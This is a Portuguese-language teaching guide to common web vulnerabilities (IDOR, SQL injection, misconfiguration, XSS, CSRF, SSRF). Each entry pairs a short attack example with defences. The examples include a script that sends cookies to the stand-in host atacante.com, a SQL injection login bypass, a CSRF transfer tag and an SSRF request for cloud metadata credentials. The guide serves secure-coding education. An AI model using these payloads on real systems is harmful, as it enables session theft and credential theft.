​

Vulnerabilidades Web (Web Vulnerabilities)

​

A01: Controle de Acesso Quebrado (Broken Access Control)

​

Falhas Comuns

• IDOR (Insecure Direct Object Reference, ou Referência Direta Insegura a Objeto): Mudar um parâmetro na URL para acessar dados de outro usuário.

# Usuário 1001 visualiza sua própria fatura:
GET /api/invoices/1001

# Atacante muda o ID para ver a fatura do usuário 1002:
GET /api/invoices/1002    ← Sem verificação de autorização!

• Escalação de privilégio (Privilege escalation): Usuário regular acessando funcionalidade de admin navegando diretamente para /admin/dashboard.
• Controle de acesso ausente em nível de função: A UI esconde o botão “Deletar Usuário” para não-admins, mas o endpoint DELETE /api/users/123 não tem verificação no servidor.

​

A03: Injeção (Injection)

​

SQL Injection: Injeção SQL (SQLi)

# NUNCA FAÇA ISSO - concatenação de strings com input do usuário
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

username: admin' --
password: qualquercoisa

SELECT * FROM users WHERE username = 'admin' --' AND password = 'qualquercoisa'

# SEMPRE use consultas parametrizadas
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

​

A05: Configuração Insegura (Security Misconfiguration)

​

Configurações Inseguras Comuns

• Credenciais padrão de admin (admin/admin, root/password)
• Serviços, portas ou funcionalidades desnecessárias habilitadas
• Mensagens de erro verbosas expondo stack traces e caminhos internos
• Listagem de diretório habilitada em servidores web
• Headers de segurança ausentes (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security)
• Buckets de armazenamento em nuvem (S3, GCS) deixados publicamente acessíveis

​

A07: Cross-Site Scripting: XSS (Script entre Sites)

​

Tipos de XSS

<script>
  fetch('https://atacante.com/roubar?cookie=' + document.cookie)
</script>

​

Defesa

• Codificação de saída (Output encoding): Codifique todos os dados do usuário antes de renderizar em HTML, JavaScript, CSS ou URLs.
• CSP (Content Security Policy, ou Política de Segurança de Conteúdo): Header que restringe quais scripts podem executar na página.
• Proteções de frameworks: React, Angular e Vue codificam saída automaticamente. Nunca ignore essas proteções (ex.: dangerouslySetInnerHTML no React) sem sanitização.

​

A08: CSRF (Cross-Site Request Forgery: Falsificação de Requisição entre Sites)

1. Vítima está logada no banco em banco.com.br.
2. Vítima visita uma página maliciosa contendo: <img src="https://banco.com.br/transferir?para=atacante&valor=10000">
3. O navegador inclui automaticamente o cookie de sessão da vítima.
4. O banco processa a transferência porque a requisição parece legítima.

​

Defesa

• Tokens Anti-CSRF: Inclua um token único e imprevisível em cada formulário com mudança de estado.
• Cookies SameSite: Defina o atributo SameSite em cookies de sessão para Strict ou Lax.
• Re-autenticação: Para ações sensíveis, exija que o usuário reinsira sua senha.

​

A10: SSRF (Server-Side Request Forgery: Falsificação de Requisição do Lado do Servidor)

# Requisição normal - buscar URL para preview
POST /api/fetch-url
{"url": "https://exemplo.com/artigo"}

# Ataque SSRF - acessar serviço interno de metadata
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

​

Defesa

• Valide e sanitize todas as URLs fornecidas pelo usuário
• Use allowlists (listas de permissão) para domínios/faixas de IP permitidos
• Bloqueie requisições para faixas de IP internas (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)

​

Principais Conclusões

1. Nunca confie em input do usuário: Valide, sanitize e codifique tudo.
2. Autorize no servidor: Controles do lado do cliente são cosméticos, não segurança.
3. Use consultas parametrizadas: A única defesa confiável contra SQL Injection.
4. Implemente headers CSP: Defesa em profundidade contra XSS.
5. Proteja contra CSRF: Use tokens anti-CSRF e cookies SameSite.
6. Bloqueie SSRF: Valide URLs, bloqueie IPs internos.
7. Audite configurações: Configurações padrão quase nunca são seguras.